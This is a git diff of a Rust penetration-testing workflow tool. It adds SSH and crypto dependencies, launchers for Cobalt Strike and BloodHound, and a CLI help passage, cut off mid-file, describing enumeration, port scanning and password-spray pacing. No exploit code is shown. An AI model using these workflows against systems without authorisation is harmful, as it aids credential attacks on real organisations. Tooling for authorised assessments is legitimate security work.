||||||
|
[[package]]
|
||||||
|
name = "primeorder"
|
||||||
|
version = "0.13.6"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "353e1ca18966c16d9deb1c69278edbc5f194139612772bd9537af60ac231e1e6"
|
||||||
|
dependencies = [
|
||||||
|
"elliptic-curve",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "proc-macro-crate"
|
name = "proc-macro-crate"
|
||||||
version = "3.2.0"
|
version = "3.2.0"
|
||||||
@@ -1348,6 +1791,18 @@ version = "0.8.5"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
|
checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
|
"libc",
|
||||||
|
"rand_chacha",
|
||||||
|
"rand_core",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rand_chacha"
|
||||||
|
version = "0.3.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
|
||||||
|
dependencies = [
|
||||||
|
"ppv-lite86",
|
||||||
"rand_core",
|
"rand_core",
|
||||||
]
|
]
|
||||||
|
|
||||||
@@ -1356,6 +1811,9 @@ name = "rand_core"
|
|||||||
version = "0.6.4"
|
version = "0.6.4"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
|
checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
|
||||||
|
dependencies = [
|
||||||
|
"getrandom",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "redox_users"
|
name = "redox_users"
|
||||||
@@ -1442,6 +1900,16 @@ dependencies = [
|
|||||||
"windows-registry",
|
"windows-registry",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rfc6979"
|
||||||
|
version = "0.4.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "f8dd2a808d456c4a54e300a23e9f5a67e122c3024119acbfd73e3bf664491cb2"
|
||||||
|
dependencies = [
|
||||||
|
"hmac",
|
||||||
|
"subtle",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "ring"
|
name = "ring"
|
||||||
version = "0.17.8"
|
version = "0.17.8"
|
||||||
@@ -1470,6 +1938,27 @@ dependencies = [
|
|||||||
"symphonia",
|
"symphonia",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rsa"
|
||||||
|
version = "0.9.8"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "78928ac1ed176a5ca1d17e578a1825f3d81ca54cf41053a592584b020cfd691b"
|
||||||
|
dependencies = [
|
||||||
|
"const-oid",
|
||||||
|
"digest",
|
||||||
|
"num-bigint-dig",
|
||||||
|
"num-integer",
|
||||||
|
"num-traits",
|
||||||
|
"pkcs1",
|
||||||
|
"pkcs8",
|
||||||
|
"rand_core",
|
||||||
|
"sha2",
|
||||||
|
"signature",
|
||||||
|
"spki",
|
||||||
|
"subtle",
|
||||||
|
"zeroize",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "rustc-demangle"
|
name = "rustc-demangle"
|
||||||
version = "0.1.24"
|
version = "0.1.24"
|
||||||
@@ -1482,6 +1971,15 @@ version = "1.1.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2"
|
checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rustc_version"
|
||||||
|
version = "0.4.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92"
|
||||||
|
dependencies = [
|
||||||
|
"semver",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "rustix"
|
name = "rustix"
|
||||||
version = "0.38.42"
|
version = "0.38.42"
|
||||||
@@ -1534,6 +2032,12 @@ dependencies = [
|
|||||||
"untrusted",
|
"untrusted",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "rustversion"
|
||||||
|
version = "1.0.21"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "8a0d197bd2c9dc6e53b84da9556a69ba4cdfab8619eb41a8bd1cc2027a0f6b1d"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "ryu"
|
name = "ryu"
|
||||||
version = "1.0.18"
|
version = "1.0.18"
|
||||||
@@ -1558,6 +2062,20 @@ dependencies = [
|
|||||||
"windows-sys 0.59.0",
|
"windows-sys 0.59.0",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "sec1"
|
||||||
|
version = "0.7.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d3e97a565f76233a6003f9f5c54be1d9c5bdfa3eccfb189469f11ec4901c47dc"
|
||||||
|
dependencies = [
|
||||||
|
"base16ct",
|
||||||
|
"der",
|
||||||
|
"generic-array",
|
||||||
|
"pkcs8",
|
||||||
|
"subtle",
|
||||||
|
"zeroize",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "security-framework"
|
name = "security-framework"
|
||||||
version = "2.11.1"
|
version = "2.11.1"
|
||||||
@@ -1581,6 +2099,12 @@ dependencies = [
|
|||||||
"libc",
|
"libc",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "semver"
|
||||||
|
version = "1.0.26"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "56e6fa9c48d24d85fb3de5ad847117517440f6beceb7798af16b4a87d616b8d0"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "serde"
|
name = "serde"
|
||||||
version = "1.0.217"
|
version = "1.0.217"
|
||||||
@@ -1625,12 +2149,33 @@ dependencies = [
|
|||||||
"serde",
|
"serde",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "sha2"
|
||||||
|
version = "0.10.9"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"cpufeatures",
|
||||||
|
"digest",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "shlex"
|
name = "shlex"
|
||||||
version = "1.3.0"
|
version = "1.3.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
|
checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "signature"
|
||||||
|
version = "2.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de"
|
||||||
|
dependencies = [
|
||||||
|
"digest",
|
||||||
|
"rand_core",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "siphasher"
|
name = "siphasher"
|
||||||
version = "0.3.11"
|
version = "0.3.11"
|
||||||
@@ -1668,12 +2213,106 @@ version = "0.9.8"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67"
|
checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "spki"
|
||||||
|
version = "0.7.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d"
|
||||||
|
dependencies = [
|
||||||
|
"base64ct",
|
||||||
|
"der",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ssh-cipher"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "caac132742f0d33c3af65bfcde7f6aa8f62f0e991d80db99149eb9d44708784f"
|
||||||
|
dependencies = [
|
||||||
|
"cipher",
|
||||||
|
"ssh-encoding",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ssh-encoding"
|
||||||
|
version = "0.2.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "eb9242b9ef4108a78e8cd1a2c98e193ef372437f8c22be363075233321dd4a15"
|
||||||
|
dependencies = [
|
||||||
|
"base64ct",
|
||||||
|
"pem-rfc7468",
|
||||||
|
"sha2",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ssh-key"
|
||||||
|
version = "0.6.7"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "3b86f5297f0f04d08cabaa0f6bff7cb6aec4d9c3b49d87990d63da9d9156a8c3"
|
||||||
|
dependencies = [
|
||||||
|
"ed25519-dalek",
|
||||||
|
"num-bigint-dig",
|
||||||
|
"p256",
|
||||||
|
"p384",
|
||||||
|
"p521",
|
||||||
|
"rand_core",
|
||||||
|
"rsa",
|
||||||
|
"sec1",
|
||||||
|
"sha2",
|
||||||
|
"signature",
|
||||||
|
"ssh-cipher",
|
||||||
|
"ssh-encoding",
|
||||||
|
"subtle",
|
||||||
|
"zeroize",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "ssh-rs"
|
||||||
|
version = "0.5.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "04811a04a4dfce78c2a4fbe335501c9e0d6f76fefc5f93adc31b2dd9d5e3a478"
|
||||||
|
dependencies = [
|
||||||
|
"aes",
|
||||||
|
"ctr",
|
||||||
|
"flate2",
|
||||||
|
"num-bigint",
|
||||||
|
"rand",
|
||||||
|
"ring",
|
||||||
|
"rsa",
|
||||||
|
"sha2",
|
||||||
|
"signature",
|
||||||
|
"ssh-key",
|
||||||
|
"strum",
|
||||||
|
"strum_macros",
|
||||||
|
"thiserror",
|
||||||
|
"tracing",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "stable_deref_trait"
|
name = "stable_deref_trait"
|
||||||
version = "1.2.0"
|
version = "1.2.0"
|
||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3"
|
checksum = "a8f112729512f8e442d81f95a8a7ddf2b7c6b8a1a6f509a95864142b30cab2d3"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "strum"
|
||||||
|
version = "0.25.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "290d54ea6f91c969195bdbcd7442c8c2a2ba87da8bf60a7ee86a235d4bc1e125"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "strum_macros"
|
||||||
|
version = "0.25.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "23dc1fa9ac9c169a78ba62f0b841814b7abae11bdd047b9c58f893439e309ea0"
|
||||||
|
dependencies = [
|
||||||
|
"heck",
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"rustversion",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "subtle"
|
name = "subtle"
|
||||||
version = "2.6.1"
|
version = "2.6.1"
|
||||||
@@ -1795,6 +2434,16 @@ dependencies = [
|
|||||||
"windows-sys 0.59.0",
|
"windows-sys 0.59.0",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "term_size"
|
||||||
|
version = "0.3.2"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1e4129646ca0ed8f45d09b929036bafad5377103edd06e50bf574b353d2b08d9"
|
||||||
|
dependencies = [
|
||||||
|
"libc",
|
||||||
|
"winapi",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "terminfo"
|
name = "terminfo"
|
||||||
version = "0.8.0"
|
version = "0.8.0"
|
||||||
@@ -1951,10 +2600,23 @@ version = "0.1.41"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "784e0ac535deb450455cbfa28a6f0df145ea1bb7ae51b821cf5e7927fdcfbdd0"
|
checksum = "784e0ac535deb450455cbfa28a6f0df145ea1bb7ae51b821cf5e7927fdcfbdd0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
|
"log",
|
||||||
"pin-project-lite",
|
"pin-project-lite",
|
||||||
|
"tracing-attributes",
|
||||||
"tracing-core",
|
"tracing-core",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "tracing-attributes"
|
||||||
|
version = "0.1.30"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "81383ab64e72a7a8b8e13130c49e3dab29def6d0c7d76a03087b3cf71c5c6903"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "tracing-core"
|
name = "tracing-core"
|
||||||
version = "0.1.33"
|
version = "0.1.33"
|
||||||
@@ -1970,6 +2632,12 @@ version = "0.2.5"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b"
|
checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "typenum"
|
||||||
|
version = "1.18.0"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1dccffe3ce07af9386bfd29e80c0ab1a8205a2fc34e4bcd40364df902cfa8f3f"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "unicode-ident"
|
name = "unicode-ident"
|
||||||
version = "1.0.14"
|
version = "1.0.14"
|
||||||
@@ -2011,6 +2679,12 @@ version = "0.2.15"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426"
|
checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "version_check"
|
||||||
|
version = "0.9.5"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "walkdir"
|
name = "walkdir"
|
||||||
version = "2.5.0"
|
version = "2.5.0"
|
||||||
@@ -2489,6 +3163,26 @@ dependencies = [
|
|||||||
"synstructure",
|
"synstructure",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "zerocopy"
|
||||||
|
version = "0.8.26"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "1039dd0d3c310cf05de012d8a39ff557cb0d23087fd44cad61df08fc31907a2f"
|
||||||
|
dependencies = [
|
||||||
|
"zerocopy-derive",
|
||||||
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "zerocopy-derive"
|
||||||
|
version = "0.8.26"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "9ecf5b4cc5364572d7f4c329661bcc82724222973f2cab6f050a4e5c22f75181"
|
||||||
|
dependencies = [
|
||||||
|
"proc-macro2",
|
||||||
|
"quote",
|
||||||
|
"syn",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "zerofrom"
|
name = "zerofrom"
|
||||||
version = "0.1.5"
|
version = "0.1.5"
|
||||||
|
|||||||
@@ -1,14 +1,18 @@
|
|||||||
[package]
|
[package]
|
||||||
name = "pentest_tool"
|
name = "pentest_tool"
|
||||||
version = "0.2.0"
|
version = "3.1.1"
|
||||||
edition = "2021"
|
edition = "2021"
|
||||||
|
|
||||||
[dependencies]
|
[dependencies]
|
||||||
chrono = "0.4.39"
|
chrono = "0.4.39"
|
||||||
clearscreen = "3.0.0"
|
clearscreen = "3.0.0"
|
||||||
|
colored = "3.0.0"
|
||||||
directories = "5.0.1"
|
directories = "5.0.1"
|
||||||
|
dns-lookup = "2.0.4"
|
||||||
fs_extra = "1.3.0"
|
fs_extra = "1.3.0"
|
||||||
futures-io = { version = "0.2.0-beta" }
|
futures-io = { version = "0.2.0-beta" }
|
||||||
reqwest = {version = "0.12.12", features = ["blocking", "json"]}
|
reqwest = {version = "0.12.12", features = ["blocking", "json"]}
|
||||||
rodio = "0.20.1"
|
rodio = "0.20.1"
|
||||||
|
ssh-rs = "0.5.0"
|
||||||
|
term_size = "0.3.2"
|
||||||
walkdir = "2.5.0"
|
walkdir = "2.5.0"
|
||||||
|
|||||||
@@ -5,6 +5,8 @@ use std::fs;
|
|||||||
use std::io::Write;
|
use std::io::Write;
|
||||||
use std::thread::{self, JoinHandle};
|
use std::thread::{self, JoinHandle};
|
||||||
use std::time::Duration;
|
use std::time::Duration;
|
||||||
|
use colored::Colorize;
|
||||||
|
|
||||||
use crate::{get_user_input, Project};
|
use crate::{get_user_input, Project};
|
||||||
|
|
||||||
pub fn stop_all_boxes(projects: &Vec<Project>){
|
pub fn stop_all_boxes(projects: &Vec<Project>){
|
||||||
@@ -43,6 +45,10 @@ pub fn project_standalone_terminal(project: Project, mut terminal: String){
|
|||||||
if terminal.contains("profile"){
|
if terminal.contains("profile"){
|
||||||
profile = true;
|
profile = true;
|
||||||
}
|
}
|
||||||
|
if terminal.contains("!!!"){
|
||||||
|
let terminal_launch_cmd = format!("distrobox enter --root {}", &project.boxname);
|
||||||
|
terminal = terminal.replace("!!!", &terminal_launch_cmd);
|
||||||
|
}
|
||||||
let terminal_vec:Vec<&str> = terminal.split(" ").collect();
|
let terminal_vec:Vec<&str> = terminal.split(" ").collect();
|
||||||
let mut terminal_start = process::Command::new(terminal_vec[0]);
|
let mut terminal_start = process::Command::new(terminal_vec[0]);
|
||||||
let mut first = true;
|
let mut first = true;
|
||||||
@@ -70,6 +76,7 @@ pub fn project_inline_terminal(project: Project){
|
|||||||
process::Command::new("distrobox").arg("enter").arg("--root").arg(project.boxname).arg("--").arg("script").arg("-a").arg("-B").arg("/pentest/working/terminal.log").status().expect("error opeing konsole");
|
process::Command::new("distrobox").arg("enter").arg("--root").arg(project.boxname).arg("--").arg("script").arg("-a").arg("-B").arg("/pentest/working/terminal.log").status().expect("error opeing konsole");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
pub fn make_box(project: &Project, tools_dir: &PathBuf, boxtemplate: &String, new: bool, fingerprint: bool){
|
pub fn make_box(project: &Project, tools_dir: &PathBuf, boxtemplate: &String, new: bool, fingerprint: bool){
|
||||||
println!("stopping template box to ensure we can clone it!");
|
println!("stopping template box to ensure we can clone it!");
|
||||||
let stop_result = Command::new("distrobox").arg("stop").arg("--root").arg(boxtemplate).status();
|
let stop_result = Command::new("distrobox").arg("stop").arg("--root").arg(boxtemplate).status();
|
||||||
@@ -217,8 +224,8 @@ pub fn launch_cobalt_strike(project: Project) -> Option<JoinHandle<()>>{
|
|||||||
.output();
|
.output();
|
||||||
if cobalt_strike_launch_result.is_err(){
|
if cobalt_strike_launch_result.is_err(){
|
||||||
let error = cobalt_strike_launch_result.err().unwrap();
|
let error = cobalt_strike_launch_result.err().unwrap();
|
||||||
println!("error launching cobalt strike!");
|
println!("{}", "error launching cobalt strike!".red());
|
||||||
println!("{}", error);
|
println!("{}", error.to_string().red());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
@@ -232,6 +239,7 @@ pub fn launch_cobalt_strike(project: Project) -> Option<JoinHandle<()>>{
|
|||||||
return Some(handle);
|
return Some(handle);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
pub fn launch_bloodhound_gui(project: Project) -> Option<JoinHandle<()>>{
|
pub fn launch_bloodhound_gui(project: Project) -> Option<JoinHandle<()>>{
|
||||||
let mut bloodhound_command = String::new();
|
let mut bloodhound_command = String::new();
|
||||||
let version_response = get_user_input("do you want to use a specific bloodhound version?");
|
let version_response = get_user_input("do you want to use a specific bloodhound version?");
|
||||||
@@ -253,8 +261,8 @@ pub fn launch_bloodhound_gui(project: Project) -> Option<JoinHandle<()>>{
|
|||||||
.status();
|
.status();
|
||||||
if neo4jstart_res.is_err(){
|
if neo4jstart_res.is_err(){
|
||||||
let error = neo4jstart_res.err().unwrap();
|
let error = neo4jstart_res.err().unwrap();
|
||||||
println!("errror starting neo4j...");
|
println!("{}","errror starting neo4j...".red());
|
||||||
println!("{}", error);
|
println!("{}", error.to_string().red());
|
||||||
}
|
}
|
||||||
else{
|
else{
|
||||||
neo4j_started = true;
|
neo4j_started = true;
|
||||||
@@ -274,8 +282,8 @@ pub fn launch_bloodhound_gui(project: Project) -> Option<JoinHandle<()>>{
|
|||||||
.output();
|
.output();
|
||||||
if bloodhound_res.is_err(){
|
if bloodhound_res.is_err(){
|
||||||
let error = bloodhound_res.err().unwrap();
|
let error = bloodhound_res.err().unwrap();
|
||||||
println!("error starting bloodhound!");
|
println!("{}","error starting bloodhound!".red());
|
||||||
println!("{}", error);
|
println!("{}", error.to_string().red());
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
return Some(handle);
|
return Some(handle);
|
||||||
|
|||||||
453
pentest_tool/src/cli.rs
Normal file
453
pentest_tool/src/cli.rs
Normal file
@@ -0,0 +1,453 @@
|
|||||||
|
use std::collections::HashMap;
|
||||||
|
use std::fs;
|
||||||
|
use std::fs::read_to_string;
|
||||||
|
use std::fs::OpenOptions;
|
||||||
|
use std::path::PathBuf;
|
||||||
|
use std::process::exit;
|
||||||
|
use std::io::Write;
|
||||||
|
use std::thread::JoinHandle;
|
||||||
|
use chrono::Datelike;
|
||||||
|
use clearscreen::clear;
|
||||||
|
use clearscreen;
|
||||||
|
use chrono::Local;
|
||||||
|
use colored::Colorize;
|
||||||
|
use crate::configuration::load_config;
|
||||||
|
use crate::print_error;
|
||||||
|
use crate::print_informational;
|
||||||
|
use crate::print_success;
|
||||||
|
use crate::Project;
|
||||||
|
use crate::project_controls;
|
||||||
|
use crate::box_controls;
|
||||||
|
use crate::info_controls;
|
||||||
|
use crate::start_pentest;
|
||||||
|
use crate::get_user_input;
|
||||||
|
use crate::menu;
|
||||||
|
use crate::portscan_controls;
|
||||||
|
use crate::victim_commands;
|
||||||
|
use crate::enumeration;
|
||||||
|
use crate:: tool_controls;
|
||||||
|
use crate::configuration;
|
||||||
|
use crate::tableize;
|
||||||
|
use crate::exploit;
|
||||||
|
|
||||||
|
|
||||||
|
fn help(command: Option<String>){
|
||||||
|
if command.is_some(){
|
||||||
|
let help_cmd = command.unwrap();
|
||||||
|
let mut lines = Vec::new();
|
||||||
|
lines.push("COMMAND||ALIASES||INFO".to_owned());
|
||||||
|
match help_cmd.as_str(){
|
||||||
|
"list projects" | "lp" | "listp" | "list p" => lines.push("list projects||lp, listp, list p||This command lists all projects currently tracked by the pentest_tool".to_owned().to_owned()) ,
|
||||||
|
"switch project" | "swp" | "switch p" | "switchp" => lines.push(" switch project|| swp, switch p, switchp||This command will switch the active project from the current one to a new on of your choosing. It will prompt you to make a selection.".to_owned()) ,
|
||||||
|
"show active project" | "show active" | "sa" | "show a" => lines.push(" show active project|| sa, show a||This command shows information about the currently active project. NOTE the most useful information is already displayed above the CLI prompt.".to_owned()) ,
|
||||||
|
"create new project" | "cnp" | "new project" | "np" => lines.push(" create new project|| cnp, new project, np||This command creates a new project and default note structure based on pyro's perferred note structure. It will prompt you for any needed information.".to_owned()) ,
|
||||||
|
"save projects" | "sp" | "save" | "s" => lines.push(" save projects|| sp save||This command saves all project information to the ~/.config/pyro_pentest_tool/projects.conf file".to_owned()) ,
|
||||||
|
"import project" | "ip" | "import" => lines.push(" import project|| ip, import||This command will impot an existing project and set up a new distrobox for the project if it is a current project.".to_owned()) ,
|
||||||
|
"remove project" | "rp" | "remove" | "rmp" => lines.push("remove project||rp, remove, rmp||This command removes a project from the list of projects tracked by the pentest_tool, and will destroy its distrobox. It does not remove any directories used or created by the distrobox. Run this after the report is written.".to_owned()) ,
|
||||||
|
"show upcoming projects" | "sup" | "show upcoming" => lines.push("show upcoming projects||sup, show upcoming||This command shows a list of upcoming projects. Use this to verify which project you want to promote when the project enters the active phase.".to_owned()) ,
|
||||||
|
"promote project" | "pp" | "promote" => lines.push("promote project||pp (ha), promote||This command promotes an upcoming project to a current project. It will copy the folders that were created over to the current project space and set up a new distrobox for the project.".to_owned()) ,
|
||||||
|
"new terminal" | "enter" | "enter terminal" | "nt" | "et" => lines.push("new terminal||enter, enter terminal, nt, et||This command spawns a new terminal window in the active project's distrobox. Use this to interact with your project's distrobox.".to_owned()) ,
|
||||||
|
"inline terminal" | "it" | "enter inline" | "ei" => lines.push("inline terminal||it enter, inline, ei||This command spawns a terminal in this window using the current active project's distrobox".to_owned()) ,
|
||||||
|
"cobalt strike" | "cs" => lines.push("cobalt strike||cs||This command opens cobalt strike in the active project's distrobox, and spins it off as a new thread to ensure it doesn't block the rest of this tools operation. NOTE the cobalt strike window will need to be closed before this tool exits sucessfully.".to_owned()) ,
|
||||||
|
"recreate distrobox" | "rdb" | "ndb" | "new distrobox" => lines.push("recreate distrobox||rdb, ndb, new distrobox||This command destroyes the existing distrobox for the currently active project, and clones a new one based on the current state of the template distrobox.".to_owned()) ,
|
||||||
|
"generate userpass" | "userpass" | "gup" | "up" => lines.push("generate userpass||userpass, gup, up||This command generates a userpass file based on the active project's notes. The file will be in the username:password format.".to_owned()) ,
|
||||||
|
"inital enum" | "ie" | "enum" => lines.push("initial enum||ie, enum||This command runs the initial enum script on a nessus csv and saves the output to the active project's notes in the host_notes.md file.".to_owned()) ,
|
||||||
|
"build attack notes" | "ban" | "attack notes" | "hn" => lines.push("build attack notes||ban, attack notes||This command builds the active project's attack note based on the active project's host notes (for external tests). It is expected that you'd run the initial enum command, then manually fill out the enumeration talbes with correct service names and ports.".to_owned()) ,
|
||||||
|
"host discovery" | "build host discovery" | "hd" | "bhd" => lines.push("host discovery||build host discovery, hd, bhd||This command prints the host discovery ping command for the active project, based on the scope table in the general.md notes file.".to_owned()) ,
|
||||||
|
"cobaltstrike port scan" | "cs port scan" | "csps" => lines.push("port scan||cs port scan, cobaltstrike port scan, csps, ps (tell your cat I said that)||This command prints the cobalt strike portscan command based on the active project's scope table in the general.md notes file".to_owned()) ,
|
||||||
|
"parse port scan" | "pps" | "parse scan" => lines.push("parse port scan||pps, parse scan||This commmand parses a cobalt strike portscan TSV and saves interesting hoests to files to the active project's files folder. The host files are designated with the service that was detected that might be interesting. Use this to generate target lists for specific protocols.".to_owned()) ,
|
||||||
|
"stop boxes" | "stop distroboxes" | "sdb" => lines.push("stop boxes||stop distroboxes, sdb||This command stops all distroboxes for the tracked projects. Note if the distrobox isn't running you will see errors in the console, you can safely ignore these.".to_owned()) ,
|
||||||
|
"password spray" | "pass spray" | "pas" => lines.push("password spray||pass spray, pas||This command iterates through the password spray note file and print the command to perform the spray, waiting the proper observation window beteen commands. It prompts you to save if needed. NOTE this will block execution for the rest of the program until it is either finished, or you save and exit the password spray function. I'm working on making this better.".to_owned()) ,
|
||||||
|
"bloodhound" | "bh" => lines.push("bloodhound||bh||This command launches bloodhound in the active project's distrobox. It will automatically start neo4j before staring bloodhound.".to_owned()) ,
|
||||||
|
